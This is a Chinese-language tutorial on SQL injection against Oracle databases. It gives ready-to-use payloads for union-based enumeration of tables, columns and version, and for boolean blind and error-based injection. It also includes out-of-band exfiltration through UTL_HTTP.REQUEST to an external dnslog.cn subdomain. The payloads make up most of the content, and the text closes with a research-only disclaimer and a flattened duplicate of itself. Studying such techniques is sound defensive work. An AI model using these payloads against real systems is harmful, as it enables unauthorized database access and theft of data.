Oracle数据库利用教程
字数 952 2025-08-15 21:31:56

Oracle数据库注入技术详解

一、联合注入

1.1 判断注入点存在

  • 使用经典逻辑测试:and 1=1(返回正常)和and 1=2(返回异常)
  • 观察页面返回差异判断是否存在SQL注入漏洞

1.2 判断数据库为Oracle

  • Oracle特有注释符号:--
  • 测试多语句支持:Oracle不支持多行查询,MSSQL支持
  • 使用Oracle特有系统表测试:
    and (select count(*) from user_tables)>0--
    
    • dual表和user_tables表是Oracle特有系统表
    • 返回正常则可确定为Oracle数据库

1.3 获取基本信息

1.3.1 获取字段数

  • 使用order by N递增测试,根据页面返回判断字段数

1.3.2 判断列数据类型

union select '1','a','3','4','5' from dual --
  • 返回正常则对应字段为数字型,返回错误则为字符型

1.3.3 获取数据库版本

union select '1',(select banner from sys.v_$version where rownum=1),'3','4','5' from dual --

1.3.4 查询表结构

  • 获取第一个表名:
union select '1',(select table_name from user_tables where rownum=1),'3','4','5' from dual --
  • 获取第二个表名(排除已获取的表):
union select '1',(select table_name from user_tables where rownum=1 and table_name<>'表名'),'3','4','5' from dual --
  • 获取字段名:

    • 第一个字段名:
    union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1),'3','4','5' from dual --
    
    • 第二个字段名:
    union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1 and column_name<>'id'),'3','4','5' from dual --
    
    • 第三个字段名:
    select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一个字段]' and column_name<>'[第二个字段名]'
    

1.3.5 读取数据

union select '1',age,NAME,'4','5' from CUSTOMERS --

二、DNSlog注入

2.1 准备工作

  • 访问http://www.dnslog.cn/申请一个域名

2.2 UTL_HTTP.REQUEST型注入

  • 获取表名:
and 1=2 union select '1','2',UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.o69syg.dnslog.cn'),'4','5' from dual --
  • 获取字段名:
union select '1','2',UTL_HTTP.REQUEST((select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1)||'.o69syg.dnslog.cn '),'4','5' from dual --

2.3 UTL_INADDR.GET_HOST_ADDRESS型DNSlog注入

  • 原理类似,使用不同Oracle函数

三、布尔盲注

3.1 获取表数量

and (select count(table_name) from user_tables)>1--

3.2 获取表名长度

and (select length(table_name) from user_tables where rownum=1)>8--

3.3 获取表名字符

and ascii(substr((select table_name from user_tables where rownum=1),3,1))>82--

四、报错注入

4.1 使用dbms_xdb_version.checkin()函数

  • 获取数据库版本:
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--
  • 获取当前数据库用户:
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

关键注意事项

  1. Oracle特有系统表:

    • dual - 虚拟表
    • user_tables - 用户表信息
    • user_tab_columns - 表字段信息
    • sys.v_$version - 版本信息
  2. Oracle字符串连接使用||而非+

  3. 盲注时注意Oracle的rownum限制,常用于获取第一条记录

  4. DNSlog注入需要数据库有外网访问权限

  5. 报错注入函数dbms_xdb_version.checkin()需要足够权限

  6. 测试时建议先使用and 1=2确保不影响原查询结果

以上技术仅用于安全研究,未经授权测试他人系统可能构成违法行为。

Oracle数据库注入技术详解 一、联合注入 1.1 判断注入点存在 使用经典逻辑测试: and 1=1 (返回正常)和 and 1=2 (返回异常) 观察页面返回差异判断是否存在SQL注入漏洞 1.2 判断数据库为Oracle Oracle特有注释符号: -- 测试多语句支持:Oracle不支持多行查询,MSSQL支持 使用Oracle特有系统表测试: dual 表和 user_tables 表是Oracle特有系统表 返回正常则可确定为Oracle数据库 1.3 获取基本信息 1.3.1 获取字段数 使用 order by N 递增测试,根据页面返回判断字段数 1.3.2 判断列数据类型 返回正常则对应字段为数字型,返回错误则为字符型 1.3.3 获取数据库版本 1.3.4 查询表结构 获取第一个表名: 获取第二个表名(排除已获取的表): 获取字段名: 第一个字段名: 第二个字段名: 第三个字段名: 1.3.5 读取数据 二、DNSlog注入 2.1 准备工作 访问http://www.dnslog.cn/申请一个域名 2.2 UTL_ HTTP.REQUEST型注入 获取表名: 获取字段名: 2.3 UTL_ INADDR.GET_ HOST_ ADDRESS型DNSlog注入 原理类似,使用不同Oracle函数 三、布尔盲注 3.1 获取表数量 3.2 获取表名长度 3.3 获取表名字符 四、报错注入 4.1 使用dbms_ xdb_ version.checkin()函数 获取数据库版本: 获取当前数据库用户: 关键注意事项 Oracle特有系统表: dual - 虚拟表 user_tables - 用户表信息 user_tab_columns - 表字段信息 sys.v_$version - 版本信息 Oracle字符串连接使用 || 而非 + 盲注时注意Oracle的 rownum 限制,常用于获取第一条记录 DNSlog注入需要数据库有外网访问权限 报错注入函数 dbms_xdb_version.checkin() 需要足够权限 测试时建议先使用 and 1=2 确保不影响原查询结果 以上技术仅用于安全研究,未经授权测试他人系统可能构成违法行为。